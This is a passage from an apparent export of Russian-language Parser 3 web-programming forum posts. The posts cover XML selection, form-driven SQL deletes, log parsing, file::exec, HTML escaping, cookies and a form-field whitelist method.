^if(^choseMe[] eq rlite){отечественного легкового}\
\
### прописан в 4 файлах - меняется база данных, из которой делается выборка\
@choseMe[]\
iheavy\
[/code]\
Люди добрые!... *Дальше знаете все сами...*\
\
"
"46643","я вам сейчас напишу то к чему пришел я \
[code]\
#немного измененый вариант того что написано в документации #http://www.parser.ru/docs/lang/xnodeselectsingle.htm\
$d[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<document>\
    <t a=\"a value1\">value1</t>\
    <t a=\"a value2\">value2</t>\
</document>}]\
# результат=список из двух элементов \"t\"\
$list[^d.select[/document/t]]\
# перебираем найденные листы:\
#   этот код будет работать\
#   даже если запрос не найдет ни одного листа \
^for[i](0;$list-1){\
    $node[$list.$i]\
    Имя: $node.nodeName | Текст внутри: $node.firstChild.nodeValue | Атрибут: <b>a</b> Значение: ^node.getAttribute[a]<br>\
    Тип: $node.nodeType<br>\
}[/code]\
а вы сами посмотри где то что вам нужно. \
Хотя может быть я делаю все не правильно. :)"
"46644","в принципе всё что нужно, ты мне написал, всё работает как надо, спасибо!"
"46645","а что означает переменная [code]$d[/code], вы пишете что чекбоксу присвоили уникальное имя а присваиваете переменну, которая определена после того как используется.\
[code]\
<input type=\"checkbox\" name=\"$car_show.place_uuid\">\
[/code]\
\
\
а удаление я бы сделал по другому.\
[code]\
#впервую очередь <input type=\"submit\" value=\"Удалить\" name=\"posted\"> а потом проверку запускаем\
^if(def $form:posted){\
^car_show.menu{\
^if(def $form:$car_show.place_uuid){\
^void:sql{\
		delete from \
			^choseMe[] \
		where \
			convert(place_uuid using utf8) = '$car_show.place_uuid'\
			limit 1\
}\
}{\
$car_show.place_uuid - не удалили\
}\
}[/code]"
"46647","select[//sg]\
\
потом for по результату с getAttribute и firstChild.nodeValue\
\
двух суток это не стОит :)"
"46648","Задача сводилась к тому, чтобы написать числа понелельника и воскресенья текущей недели, всего лишь. Обошелся без хеша.\
\
[code]\
$week_of_month[^date:calendar[rus]($now.year;$now.month;$now.day)] \
^week_of_month.offset[set](6)\
[/code]"
"46649","[code]^if(def $form:$car_show.place_uuid)[/code]\
parser ругается изза точки ^ он запрашивает string, а также ругается изза знака рубля после двоетоия, если он идет сразу после него.\
была попытка определять переменную перед формой - без результата"
"46651","1.\
[quot]\
[code]\
@auto_type[]\
^if(^choseMe[] eq iheavy){импортного грузового}\
^if(^choseMe[] eq ilite){импортного легкового}\
^if(^choseMe[] eq rheavy){отечественного грузового}\
^if(^choseMe[] eq rlite){отечественного легкового}\
[/code]\
[/quot]\
=>\
[code]\
@auto_type[]\
^switch[^choseMe[]]{\
	^case[iheavy]{импортного грузового}\
	^case[ilite]{импортного легкового}\
	^case[rheavy]{отечественного грузового}\
	^case[rlite]{отечественного легкового}\
}[/code]\
\
2. $d{$car_show.place_uuid} => $d[$car_show.place_uuid] почитайте про скобки. создается ощущение что вы не очень понимаете что они означают и ставите их произвольно.\
\
3. если у вас есть желание завести N таблиц с одинаковыми полями - [b]не делайте этого[/b], а сделайте одну таблицу для всех записей, и добавьте в неё поле \"тип\".\
\
4. вы пишите про одну кнопку, а в коде их в цикле выводится пачка. или поставьте кнопку отдельно, при этом вы сможете отметить N записей, нажать кнопку и они удалятся (мне больше нравится этот вариант), или уберите чекбоксы, и по кнопке удаляйде одну запись.\
\
5. [quote]*Дальше знаете все сами...*[/quote] \
не знаем"
"46652","пробовал - не пашет!"
"46653","2. - кстати у меня в исходнике именно так - простите, описка\
5. - \"помогите чем смогите\"\
 у меня на имя кнопки код как-то не реагирует. какая строка должна быть в этом случае если не через ^if(def ...)"
"46654","я ответил на вопрос как обращаться к элементам формы, если имя этого элемента в таблице или хеше."
"46655","окейчик"
"46656","В захромах форума нашел вот этот код, кто может мне обьяснить что делает этот код и что нужно записать в файл section.cfg чтобы всё это заработало?\
\
[code]@main[]\
# достаём таблицу из файла\
$menu_table[^table::load[/sections.cfg]]\
# Вызываем метод построения меню древовидной структуры\
^menu_build[0]\
\
# метод построения меню древовидной структуры\
@menu_build[parent_id][level,menu_tmp]\
\
# Ищем корневые элементы менню текущего уровня\
$menu_tmp.select[^menu_table.select[parent_id == ^parent_id.int(0)]]\
\
# Выводим элементы текущего уровня\
^menu_tmp.menu{\
<li>\
# Офрмляем текущий элемент уровня\
	<a href=\"$menu_tmp.url\">$menu_tmp.name</a>\
</li>\
\
\
<ul>\
# Метод вызывает сам себя для простроения следующего уровня\
	^menu_build[$menu_tmp.parent_id]\
</ul>\
}[/code]"
"46657","Установка парсера на хостинг.\
Я пытаюсь разобраться с установкой парсера на хостинг\
hosthost.biz. \
/cgi-bin/parser3.cgi \
/cgi-bin/auto.p (конфигурационный)\
в корне прописан .htaccess\
в котором указан путь у парсеру.\
Но сервер выдает ошибку: \
./charsets/windows-1251.cfg\
read failed: No such file or directory (2), actual filename './charsets/windows-1251.cfg'\
\
Насколько я поняла из документации у меня на сервере должна быть папка parser3.charsets/ - каталог с файлами таблиц кодировок.\
Верно?\
Если так, то я не представляю как прописать эти кодировочные файлы, не смотря на указание в документации.\
Подскажите, как быть?"
"46659","А файлы кодировок и дрова для MySQL можно взять тут\
http://www.parser.ru/download/redhat/"
"46661","Скачайте из примеров файл по вашу операционку с вот таким названием:\
parser3conf.название_операционки.gz\
в этом архиве есть нужная папка. Её нужно скопировать в cgi-bin/ и всё."
"46662","[code]\
$menu_tmp.select[^menu_table.select[parent_id == ^parent_id.int(0)]]\
[/code]\
\
—›\
\
[code]\
^menu_tmp.select[^menu_table.select[parent_id == ^parent_id.int(0)]]\
[/code]\
\
http://www.parser.ru/docs/lang/lesson1.htm"
"46663","курсор перепрыгивает в основное окно в нужную точку в XSL.\
справа внизу выводится strack trace с параметрами [b]на тот момент[/b] когда [i]был[/i] создан кликнутый узел результата.\
\
чтобы увидеть «из какого XML был сделан тот результат» нажать нужно RClick|Show XML"
"46664","Когда закончил с элементарными форматами имел файл в 25килобайт и диких расход памяти на преобразования.\
Бросил.\
Решил ждать внедрения форматирования дат в xsl..."
"46665","важно, чтобы код был внятно разбит на модули, и сам внутри внятный; безусловно важна координация отдельных разработчиков.\
уверен, с этим все согласны.\
\
info: реально в проекте суммарно 500K *.xsl, и ничего страшного тут не наблюдаю.\
\
мы о чём тут спорим? «нужен XSL или нет»?\
уже все заметили, что это = «программировать на языке Б труднее, чем на языке А»?\
предлагаю завязывать.\
\
\
в случае же\
http://www.parser.ru/forum/?id=46574\
случилось страшное: мелкая вещь была не скоординирована, а в результате без специальной палки-копалки на поиск проблемы ушло бы не полтора часа, а гораздо больше."
"46666","Хотелось бы глянуть для примера. Сам я тоже бросил уже эту затею, т.к. слишком много, проще парсером создать n-узлов, а разобраться с вариантом, предложенным Евгением — не хватило терпения.\
\
:)"
"46667","Спасибо. Это помогло :)"
"46668","1. выдается дата <item dt-year=\"2005\" dt-month=\"04\" dt-day=\"05\" dt-weekday=\"02\" dt-hour=\"09\" dt-minute=\"00\" dt-second=\"00\"/> (непример парсером).\
\
2. отдельно в xml выдается информация с названиями месяцев, дней недели итд., т.к. она может быть разной для разных языковых версий.\
\
3. xsl-ем все это выводится в том виде в котором требуется дизайном в определенном месте. в случае, если требуется выводить дату/время иначе - правится только xsl.\
\
P.S. так делают не всегда, но этот вариант достаточно распространен."
"46669","Почему так делают не всегда? Иногда этот вариант плох? Если да, то чем?.."
"46671","Потому что некоторые пока только учатся :-)"
"46672","А потом люди удивляются маштабам шаблонов и говорят: \"Фу, XSL -- плёхо-плёхо!\" :-)\
\
Для каждой технологии есть своя ниша, вылезать из которой в основной не стОит. ну imho, конечно :)"
"46673","Суть надо из текста вида, разделённого пробелами вывести таблицу\
[b][ID] 39173 [Rule] Service IMAPS [Service] IMAPS[/b] итд\
\
Пробовал так\
я пишу [code]^logstring.match[(\\^[.*\\^])\\s(.*)\\s][ig][/code]\
и ничего хорошего не имею, всё в одну строчку."
"46674","P.S. сам пользуюсь UltraEdit, но подумываю о перехода на PSPad или Crimson Editor."
"46677","ВинРоут пишет лог (connection.log) в таком виде\
[b][10/Nov/2005 14:18:25] [ID] 39173 [Rule] Service IMAPS [Service] IMAPS [Connection] TCP[/b]\
\
Нужно его загнать в таблицу. Что я делаю:\
[code]$file[^file::load[text;connection.log]] \
$logstring[$file.text]\
$logsrtingfortable[^logstring.match[(\\^[.*\\^])\\s(.*)\\s][ig]]\
 \
$columns_table[^logsrtingfortable.columns[]]\
\
<table border=\"1\">\
  <tr>\
     ^columns_table.menu{\
       <td>$columns_table.column</td>\
     }\
  </tr>\
     ^logsrtingfortable.menu{\
  <tr>\
     ^columns_table.menu{\
       <td>$logsrtingfortable.[$columns_table.column]</td>\
     }\
  </tr>\
     }\
</table>[/code]"
"46678","сделайте\
[code].*?[/code]\
потом убейте заранее дату\
и будет порядок."
"46679","Выкладывать, думаю не стоит, только народ пугать...\
Пиши лично, если нужно.\
gz (at) groundzero.ru"
"46680","Только обычный, \"пошаговый\", дебаггер, с возможностью расстановки точек останова и просмотром стека/переменных/шаблонов с приоритетами.\
Попытка прогнать пореобразование полностью, а потом вставить breakpoint в результат и вовсе приводит в ошибке в программе.\
Может в версии 2006 какие нововведения сделали..."
"46681","почему-то не ответил тут.."
"46682","изменил, а результат тот же - заветное ...k you!\
со свитчами - в тему. а вот про присвоение переменной - он даже не ругнулся. проблема в чем:\
я создал текстовое поле, в которое парсер вписывает значение place_uuid того чекбокса, который был отмечен. в результате на всех кроме первого - он не писал ничего, а на первом - \"on\". вот такие косяки. а как решить проблему - вопрос актуален. присвоение place_uuid кнопкам не дало результата"
"46683","код пишите, по-русски получается \
[code]\
^возвести_в_немерянную_степень[невнятно]\
[/code]."
"46684","в моем случае:\
$f[^file::exec[/cgi-bin/nconvert;;-help]]\
<pre>$f.text</pre>\
\
а эксплорер просто выдает чистый экран\
т.е. переменная $f - пуста...\
Что подскажете?"
"46685","они могли туда напечатать"
"46686","если я правильно понял\
$f[^file::exec[/cgi-bin/nconvert;;-help]]\
<pre>[color=\"#ff0000\"]$f.stderr[/color]</pre>\
\
попробовал, но результат тот же."
"46688","О, что то новенькое.\
Выдало - 248"
"46690","Здравствуйте\
\
есть сайт из уроков документации,\
а на нём гостевуха в виде класса, и есть счётчик посещений сайта.\
\
вопрос:\
\
при обновлении сайта счётчик как и положено увеличивает на 1,\
но если перейти на страницу гостевухи например с главной  то покажет через одно значение.\
\
Подскажите просто в двух словах на что обратить внимание при устранении этой ерунды, а дальше я сам разберусь.\
\
                 Виталий"
"46691","как написано в file::exec?\
\
обычно такой каталог делают виртуальным, и будет работать что-то вроде\
[code]\
^file::exec[/../vcgi/...]\
[/code]\
\
замечание: подобные скрипты лучше всего помещать вне cgi-bin, чтобы не было никому не нужной возможности их запустить из браузера.\
\
мы делаем так:\
webspace\
exec/ << сюда\
[code]\
^file::exec[/../exec/script.pl]\
[/code]\
"
"46693","Спасибо за наводку. Под носом было всё время. Купил, тестирую. Image::Magick работает прекрасно."
"46695","а когда накопится мегабайтика два?\
\
на perl подобное делается изящнее и эффективнее.."
"46696","А может быть причиной, что это не корень сайта а субдомен?\
типа такого:\
http://sub.domen.com/bin/nconvert"
"46698","Да исполняемый файл.\
Права доступа 755\
запрос $f.status дает ответ 248, если права 755\
и 243 - если права 644."
"46700","требуется шрифт стилизованный под иероглифы \
есть у кого нить что нить подобное? или может название кто-нить помнит?"
"46701","как прикрутить:\
\
1. создаем файлик hlswitch.js (содержимое см. ниже), и сохраняем в какое либо безопасное место, желательно в директорию программы, чтобы не потерялся.\
\
2. идем в настройки, Options -> Customize.. -> Script Shortcuts, делаем Add нашему новому скрипту, он появляется в списке, выбираем его, ставим курсор в маленькое поле ввода слева внизу и зажимаем нужную нам комбинацию клавиш (например Ctrl+Shift+H). Apply. Закрываем окно.\
\
Все, теперь можно открыть любой HTML-документ и понажимать на Ctrl+Shift+H - подсветка должна меняться.\
\
содержимое hlswitch.js:\
[code]\
function Main() {\
    var App = Application\
    var ParsersDir = App.GetApplicationSetting(157)\
    var SwitchValue = App.GetApplicationSetting(125)	\
    if (SwitchValue == 0){\
        var ParserFile = \"HTML.scc\"\
        var Extensions = \"htm;html;cfm;cfml;dbm;dbml;shtm;shtml;wml;p;p2;p3;conf;\";\
        App.SetApplicationSetting(125, -1)\
    } else {\
        var ParserFile = \"Parser 3.scc\"\
        var Extensions = \"htm;html;p;p2;p3;conf;\";\
        App.SetApplicationSetting(125, 0)\
    }\
    App.InstallParserScript(ParsersDir + ParserFile, Extensions);\
}\
[/code]\
\
Есть один не совсем приятный момент - для сохранения флаговой переменной в скрипте используется ячейка из реестра программы, которая в документации описана примерно так: SET_REMOTE_FPTREE_HEIGHT - Set height for remote file list (deprecated in version 4.5) Вроде бы ни на что она уже не влияет, но совершенно определенно сказать не могу, ибо встроенные средства работы с FTP не использую."
"46702","Задачка такая: есть машина в публичном доступе с установленным CVS и на ней же сайт под Парсером. Несколько программистов работают удаленно и время от времени обновляют/обновляются в этот CVS. Но возникла необходимость раздавать сторонним пользователям результат их работы, но не через CVS, а через обычных http доступ к серверу, который под Парсером. Вопрос: правильно-ли я мыслю, что вполне достаточно используя ^file::cgi[cvs;par2;par2...] организовать считывание скриптом Парсера данные из локального CVS, упаковку и выкладку данных на сайт в какой-нибудь /download? Никаких граблей тут не будет?"
"46708","и у яндекса и у знакомых...\
\
если по делу сказать нечего - не мешайте поучениями"
"46710","Крохотный метод для смены регистра:\
[code]\
########################################\
# меняет регистр на СТРОЧНЫЙ/прописной/Первый символ строчный\
# type - upper/lower/first\
#####\
@change_case[str;type]\
^if(def $str && def $type){\
	$result[^switch[$type]{\
		^case[upper]{^str.upper[]}\
		^case[lower]{^str.lower[]}\
		^case[first]{^str.match[^^([а-яa-z])(.*?)^$][i]{^if(def $match.1){^match.1.upper[]}^if(def $match.2){^match.2.lower[]}}}\
		^case[DEFAULT]{$str}\
	}]\
	\
}\
### End @change_case[]\
[/code]\
\
Пример [url=\"http://www.spearance.ru/parser3/change_case/\"]здесь[/url]."
"46713","[code]@body_main[]\
^connect[$connect_string]{ \
$car_show[^table::sql{select place_uuid, image_uri, charact, options, price from ^choseMe[]}]}\
<div align=\"center\"><strong>Редактирование категории ^auto_type[] автомобиля</strong><br></div>\
<form method=\"post\" enctype=\"multipart/form-data\">\
<table width=\"100%\" border=\"1\" bordercolor=\"black\" cellspacing=\"0\" cellpadding=\"0\">\
	<tr>\
		<td>&nbsp;</td>\
		<td>&nbsp;</td>\
		<td align=\"center\"><strong>Описание</strong></td>\
		<td align=\"center\"><strong>Особенности</strong></td>\
		<td align=\"center\"><strong>Цена</strong></td>\
		<td>&nbsp;</td>\
	</tr>\
	^car_show.menu{\
	<tr align=\"center\">\
	$d[$form:[$car_show.place_uuid]]\
	<td><input type=\"checkbox\" name=\"$car_show.place_uuid\"></td>\
	<td align=\"center\" valign=\"middle\"><img src=\"^file:find[$car_show.image_uri]{/images/nocar.gif}\" border=\"0\"></img></td>\
	<td align=\"left\" valign=\"middle\">$car_show.charact</td>\
	<td align=\"left\" valign=\"middle\">^untaint[as-is]{$car_show.options}</td>\
	<td align=\"center\" width=\"5%\" valign=\"middle\"><strong>$car_show.price</strong></td>\
	<td><input type=\"submit\" value=\"Удалить\" name=\"do\"></td>\
	</tr>}\
</table>\
</form>\
$d[$form:[$car_show.place_uuid]]\
^connect[$connect_string]{\
^if(def $form:do){\
^car_show.menu{\
	^void:sql{\
		delete from \
			^choseMe[] \
		where \
			convert(place_uuid using utf8) = '$form:[$car_show.place_uuid]'\
			limit 1\
}}\
#$response:refresh[$.value(0)] <script language=\"JavaScript\" type=\"text/JavaScript\"> alert(\"Объявление успешно удалено.\")</script>\
}{\
$car_show.place_uuid не был удален\
#<script language=\"JavaScript\" type=\"text/JavaScript\"> alert(\"...k you!\")</script>\
}\
}\
\
@auto_type[]\
^switch[^choseMe[]]{\
^case[iheavy]{импортного грузового}\
^case[ilite]{импортного легкового}\
^case[rheavy]{отечественного грузового}\
^case[rlite]{отечественного легкового}\
}\
\
[/code]\
\
вот он - код - разгребите, а то я огребу!"
"46714","1. Зачем назначать чекбоксу имя в виде уника?\
[code]\
...\
<input type=\"checkbox\" name=\"del\" value=\"$car_show.place_uuid\" />\
...\
[/code]\
2. Зачем повторно делать какой-то конверт, ведь вы итак передаёте уник.\
[code]\
^if(def $form:del){\
	$del_table[$form:tables.del]\
	^checked.menu{\
		^void:sql{DELETE FROM ^choseMe[] WHERE place_uuid = $del_table.field}\
	}\
}\
[/code]\
3. осталось попробовать..."
"46716","грабли тут только во времени выполнения скрипта.\
если инициировать упаковке из браузера, то у того может кончиться терпение ожидать выполнения cvs co + zip.\
\
вариант: WebDAV"
"46718","Не знал про WebDAV - спасибо! Перспективная технология для рабочих групп. Но делать буду все-таки на CVS :) Весьма критична \"привычность\" технологии, к сожалению.\
\
В моем случае время работы скрипта по \"сборке\" исходников из CVS в \"http-читаемый\" вид не важно. Срабатывать будет от cron, а не через вызов из браузера.\
\
ЗЫ. У Вас, Александр, новая аватара! Вы все-таки и в отпуске 'bugs' ловили по привычке? Поздравляю с уловом - вполне достойный экземпляр ;)"
"46719","1. очевидно, зачем. правильно\
2. действительно непонятно\
3.\
я подобное отлаживаю так:\
было:\
DELETE FROM\
стало\
zDELETE FROM\
\
когда доходит дело до исполнения, на экран вылезает ошибка с точным текстом запроса, из текста видна суть явления.."
"46721","мы всё гадали, «что это это за следы такие по всему пляжу? птицы что ли какие-то небольшие шастают? чего-это они шастают, а не перелетают?»\
\
в общем, имели место последствия и была очень любопытна причина… которая и припёрлась, шевеля усиками, в предпоследнее утро."
"46722","можно, только небольшую (ограничение кук) и приобразователь писать надо, примерно такой\
[code]\
$table[^table::create{str1	str2\
1	2\
3	4}]\
^if($table){\
	$cookie:test[^table.menu{$table.str1	$table.str2}[^#0A]]\
}\
$table[]\
^if(def $cookie:test){\
$table[^table::create{str1	str2\
$cookie:test}]\
}\
^if($table){^table.menu{$table.str1 | $table.str2}[<br>]}\
[/code]\
Забыл результат:\
1 | 2\
3 | 4"
"46724","получается что нет, но это можно обойти. :)\
\
Eugene, спасибо!\
\
P.S. для поиска:\
\
table cookie\
таблица куки"
"46729","из опыта работы с этим фрагментом скажу одно - он всегда НЕвыполняет код сразу после ^if, а тот, что \"если условие не истина...\" поэтому на такой спеллинг слова Delete он даже не реагирует\
\
может кто альтернативный метод ВСЕЙ этой операции подскажет...\
\
и объяснит мне логику\
[code]^if(def $form:posted){\
^car_show.menu{\
^if(def $form:$car_show.place_uuid){\
^void:sql{\
		delete from \
			^choseMe[] \
		where \
			convert(place_uuid using utf8) = '$car_show.place_uuid'\
			limit 1\
}\
}{\
$car_show.place_uuid - не удалили\
}\
}[/code]\
1. нужен ли тогда чекбокс?\
2. у меня на имя кнопки сабмит код никак не реагирует\
3. в случае с [code]^car_show.menu{\
^if(def $form:[$car_show.place_uuid]){[/code] как парсер узнает, что к этому выражению нужно прикрепить такой-то place_uuid , если у него не с чем сравнивать - скажем, строка, в которой была нажата кнопка delete.\
4. в случае с этим примером есть у кнопки delete имя ?\
[code]<input type=\"Submit\" name=\"$car_show.place_uuid\">[/code] - ведь нет - значит нужен чекбокс - у нее имя - posted. так зачем ей имя, если мы можем проверять наличие отметки чекбокса?"
"46730","погоди - как ты собираешься реализовать ^void:sql{DELETE FROM ^choseMe[] WHERE [b]place_uuid = $del_table.field[/b]}\
	если у чекбокса нет уника?"
"46736","я прошу прощения. я забыл подчеркунить, что мне надо КИРИЛИЧЕСКИЙ ШРИФТ\
то есть РУССКИЕ буквы стилизованные под иероглифы"
"46737","[quote]\
3. в случае с\
\
^car_show.menu{\
^if(def $form:[$car_show.place_uuid]){\
[/quote]\
\
вы попробовали этот код?\
\
[quote]\
как парсер узнает, что к этому выражению нужно прикрепить такой-то place_uuid , если у него не с чем сравнивать - скажем, строка, в которой была нажата кнопка delete.\
[/quote]\
хороший грибочек попался? точечки белые не заметили?"
"46741","в куки засунул бы UID, а саму таблицу в виде текста положил бы в отдельное место на сервере (файл, БД и т.д, у кого что есть) и связал бы это место с UID.\
\
При наличии конкретной ситуации можно дать более умный совет."
"46742","Со временем получится достойный струмент\
\
$s[^String::Create[Я строка]]\
^s.Upper[]\
^s.Lower[]\
\
и т.д. :)"
"46743","озадачили меня тут. можно ли сделать так чтобы \
[quot]\
\"нет никаких форм не должно быть. я должен вызвать что-то с сайта, при вызове подставляю имя локального файла, а это что-то закачивает файл на сайт\"\
[/quot]\
\
можно ли это организовать средствами парсера?"
"46744","возможно, подойдёт."
"46745","Иногда приходят не желательные поля , с нежелательным значением и в нежелательном месте.\
\
Предлагаю метод, который проверяет допустимость полей.\
\
Допустимость полей описывается таблицей, которую я храню в файле. Вот пример такого файла:\
________________________________________________________________\
[code]\
name	ending	field_match\
\
# name		:имя поля\
# ending	:окончание ($request:uri без ?$request:query) для задания контекста\
# field_match	:шаблон, которому должно соответствовать значение поля (regexp)\
\
# глобальные поля\
mode	/	xml|debug\
lang	/	ru|ua|en\
print	/	yes|no\
\
# поля новостей\
year	news/	2005|2006\
month	news/	1|2|3|4|5|6|7|8|9|10|11|12\
id	news/\
\
# поля публикаций\
year	publication/	2005|2006\
month	publication/	1|2|3|4|5|6|7|8|9|10|11|12\
id	publication/\
[/code]\
_________________________________________________________________\
\
\
\
А вот сам метод:\
[code]\
@_form_filds_is_ok[permition_file][permited_filds;path;name_is_ok;context_is_ok;value_is_ok]\
\
# Если существует файл разрешений и REQUEST_METHOD = GET\
^if(-f \"$MAIN:DATA/$permition_file\" && $env:REQUEST_METHOD eq \"GET\" && def $form:fields){\
#	загружаем таблицу разрешений для полей\
	$permited_filds[^table::load[$MAIN:DATA/$permition_file]]\
#	и переводим ее в хеш таблиц если она не пустая\
	^if(def $permited_filds){\
		$permited_filds[^permited_filds.hash[name][$.distinct[tables]]]\
#		записываем в $path значение request:uri взятое до знака вопроса\
		$path[^request:uri.split[?;lh]]\
		$path[$path.0]\
	^try{\
		^form:fields.foreach[field;value]{\
#			есил имя поля разрешено, то определяем разрешение для контекста и значения\
			^if(def $permited_filds.[$field]){\
				$name_is_ok(1)\
				$context_is_ok(^permited_filds.[$field].locate($permited_filds.[$field].ending eq '^path.right(^permited_filds.[$field].ending.length[])'))\
#				если контекст впорядке и задан шаблон для значения поля, то применяем его, иначе -- все значения подходят\
				^if($context_is_ok && def $permited_filds.[$field].field_match){\
					$value_is_ok(^value.match[$permited_filds.[$field].field_match])\
				}{\
					$value_is_ok(1)\
				}\
			}{\
#				обнуляем все признаки -- пришло не разрешенное имя поля\
				$name_is_ok(0)\
				$value_is_ok(0)\
				$context_is_ok(0) \
			}\
#			если с имененм поля, его значением и его контекстом использования всё в порядке, то выдаем (1)\
			^if($name_is_ok && $context_is_ok && $value_is_ok){$result(1)}{^throw[field_name;bad field name]}\
		}\
	}{\
		^if($exception.type eq \"field_name\"){\
			$exception.handled(1)\
			$result(0)\
		}		\
	}\
		\
	}{$result(1)}\
}{$result(1)}\
##### End of @_form_filds_is_ok[/code]\
\
Если этот метод отдает мне \"0\", то я посылаю пользователья на страницу №404.\
\
Например\
[code]\
@main[]\
^if(!^_form_filds_is_ok[permited_fields.cfg]){\
	^MAIN:location[http://mysite.ua/error404/]\
}\
[/code]"
"46746","насколько я понял wget предназначен для того чтобы nix системы качали файлы с ftp и http серверов. а мне нужно с локального компьютера загрузить файл на сервер. а как это сделать я не могу сообразить :("
"46747","Да и в названии буковки [b]Cyr[/b] ни о чем не говорят?"
"46748","Как и любой другой server side язык."
"46749","хы хы \
спасибо \
присмотрелся\
\
даже читаемо ;)"
"46750","Есть очень хороший пример http://www.parser.ru/examples/tainting/\
\
в частности:\
\
Вывод данных с тегами из базы данных для редактирования в textarea\
[code]\
@main[]\
$news[^table::sql{SELECT title, body FROM news WHERE news_id = ^form:news_id.int(0)}[$.limit(1)]]\
<form method=\"post\">\
<input type=\"text\" name=\"title\" value=\"^untaint[html]{$news.title}\" />\
<textarea name=\"body\">^untaint[html]{$news.body}</textarea>\
<input type=\"submit\" value=\"Сохранить\" />\
</form>\
[/code]\
\
Но это работает в очень ограничнном колве случаев, что делать ели у меня в базе храниться информация вида:\
[code]\
<table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\" border=\"0\">\
   <tbody>\
       <tr>\
           <td width=\"50%\">\
           <h3>Title 1</h3>\
           </td>\
           <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td>\
           <td width=\"50%\">\
           <h3>Title 2</h3>\
           </td>\
       </tr>\
       <tr>\
           <td>Text 1</td>\
           <td>&nbsp;</td>\
           <td>Text 2</td>\
       </tr>\
   </tbody>\
</table>\
[/code]\
\
из за &nbsp;&nbsp; обработка не происходит, точнее происходит но до первого ; что делать в таких случаях ?"
"46753","[code]\
       --post-data=STRING    use the POST method; send STRING as the data.\
       --post-file=FILE      use the POST method; send contents of FILE.\
[/code]"
"46754","P.S. а ^string.match[&nbsp;][g]{&nbsp^;} вообще выдаст синтаксическую ошибку"
"46755","При создании превьюшек нелишним будет ключ -rmeta, удаляющий метаданные фотографии. А это где-то 6-7 КБ.\
Я долго догонял почему превьшки размером 100х75 рх весят по 7 да по 9 КБ. А раньше что-то эта инфа не попадалась..."
"46756","Как говорится: \"дабы было хоть одно место, где любители copy/paste имели возможность подумать сами\" (с) :)"
"46760","Если код хранится в базе-то?"
"46762","Дело в том, что регулярное выражение написано немного не правильно, и\
если попытаться сделать например так:\
[code]\
$str[ёлка была очень красивая!]\
^change_case[$str;first]\
[/code]\
Браузер выведет неотформатированную строку т.е \"ёлка была очень красивая!\". Странно, но буква ё не входит в символьный класс [а-я].\
Решение элементарно [code]^str.match[^^([а-яёa-z])(.*?)^$][/code]\
Хотя, возможно, исключение буквы ё было специальным?"
"46763","Всегда делал так\
\
Допустим, в форму водил новость с html-кодом. А при редактировании новости выводил её в форму именно с помощью ^untaint[as-is][$new.new_body]\
\
И жил прекрасно. А тут вроде получается, что упустил из виду какой-то очень важный момент"
"46764","вот ведь [url=\"http://msdn.microsoft.com/netframework/future/linq/default.aspx?pull=/library/en-us/dndotnet/html/linqprojectovw.asp\"]MS[/url] зажигает ;)\
\
[code]\
Dim x = _\
        <People>\
Select <Person Age=(p.Age) >p.Name</Person> _\
From p In people _\
Where p.CanCode\
        </People>\
[/code]\
\
так будет в VB 9.0 в будущем .Net 3.0\
\
в C# такого «безобразия» пока не планируют, но тоже будь здоров:\
[code]\
var x = new XElement(\"People\",\
                  from p in people \
                  where p.CanCode\
                  select \
                    new XElement(\"Person\", \
                                   new XAttribute(\"Age\", p.Age),\
                                   p.Name));\
[/code]\
\
что удивляет, это нерастерянная [b]строгость проверки типов[/b] (позволяющая сделать, кроме прочего, IntelliSence) и большая гибкость подхода (пользовательские «операторы»).\
\
\
конечно, приятно заметить в этом MS-будущем всем нам давно знакомые черты:\
\
[code]\
$p[^people.select($people.CanCode)]\
$x[\
   <People>\
      ^p.menu{<Person Age=\"$p.Age\">$p.Name</Person>}\
   </People>\
]\
[/code]"
"46765","Совсем не так, я, конечно делаю, а ^untaint[as-is]{}"
"46766","при выводе в textarea нужно указывать язык html.\
\
а что до taint/untaint так при выводе информации полученной из БД/файла это монопенисуально."
"46767","А что ж делать, чтобы с одной стороны, когда в форму данные заносит сторонний человек с одной строны всякие скрипты, картинки и прочая дрянь заменялась, а с другой стороны оставалась возможность использовать псевдотэги (как на этом форуме)\
\
сейчас проверил - псевдотеги номрально заменяются, но при этом <img src... не меняется на &lt;img..."
"46773","Случайно наткнулся:\
[code]\
@main[]\
$file[^file::load[text;tags.txt]]\
$result[$file.text]\
[/code]\
\
tags.txt:\
<tr>\
<font>\
<table>\
\
В итоге имеем: <tr>\
<font>\
<table>\
\
Если же в main result убрать, то, как и положено:\
[code]\
@main[]\
$file[^file::load[text;tags.txt]]\
$file.text\
[/code]\
=>\
&lt;tr&gt;\
&lt;font&gt;\
&lt;table&gt;\
\
Вот такие пироги.\
Парсер – 1.4"
"46774","Как реализовать передачу параметров Xdoc документа на другом серваке? Русские буквы, кодируемые в uri и любые фразы(и на английском) с использованием пробела [b]ВЫЗЫВАЮТ ОШИБКИ[/b]!!!:\
\
'http://localhost/bd.txt?qw=asd asd' I/O warning : failed to load external entity \"http%3A//localhost/bd.txt%3Fqw=asd%20asd\"\
 [xml]\
\
'http://localhost/bd.txt?qw=ываыва выаыва' I/O warning : failed to load external entity \"http%3A//localhost/bd.txt%3Fqw=%FB%E2%E0%FB%E2%E0%20%E2%FB%E0%FB%E2%E0\"\
 [xml]\
\
Подскажите как решить проблему.\
Сам код выглядит так:\
[code]\
$query[$form:query]\
$xdoc[^xdoc::load[http://localhost/bd.txt?query=$query]]\
[/code]"
"46775","и в file::load задавть парметры http-запроса корректными методами: http://www.parser.ru/docs/lang/app1.htm"
"46776","bug.html для ПАФ-а:\
\
[code]\
@main[]\
$result[^text[]]\
\
\
@text[]\
^taint[<tr><font><table>]\
[/code]"
"46777","Имхо, поля разумнее хранить в хеше, который определяется коде и передается в качестве агрумента методу проверки.\
\
Так нагляднее будет и быстрее..."
"46778","Никто не писал локальные баннерные системы. Может кто то поделиться или согласиться написать за n$ \
\
Надо:\
\
умение показывать графическую/текстовую рекламу\
считать crt\
иметь удобное управление"
"46779","Писали-с на PHP.\
Соглашусь написать за n$ )))\
\
i-design1[собака]yandex.ru"
"46780","Имеется два файла:\
\
Первый:\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<parcms>\
	<title>ParCMS: Content management System</title>\
	<files>\
		<file date=\"1131701691\" link=\"/admin/admin.css\" size=\"286\">admin.css</file>\
